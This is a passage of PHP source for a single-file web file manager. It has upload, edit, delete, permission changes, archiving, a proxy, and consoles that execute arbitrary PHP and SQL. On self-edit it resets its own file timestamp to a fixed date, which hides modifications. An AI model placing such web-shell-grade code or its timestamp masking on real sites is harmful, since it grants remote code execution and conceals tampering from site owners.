url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGC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mhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
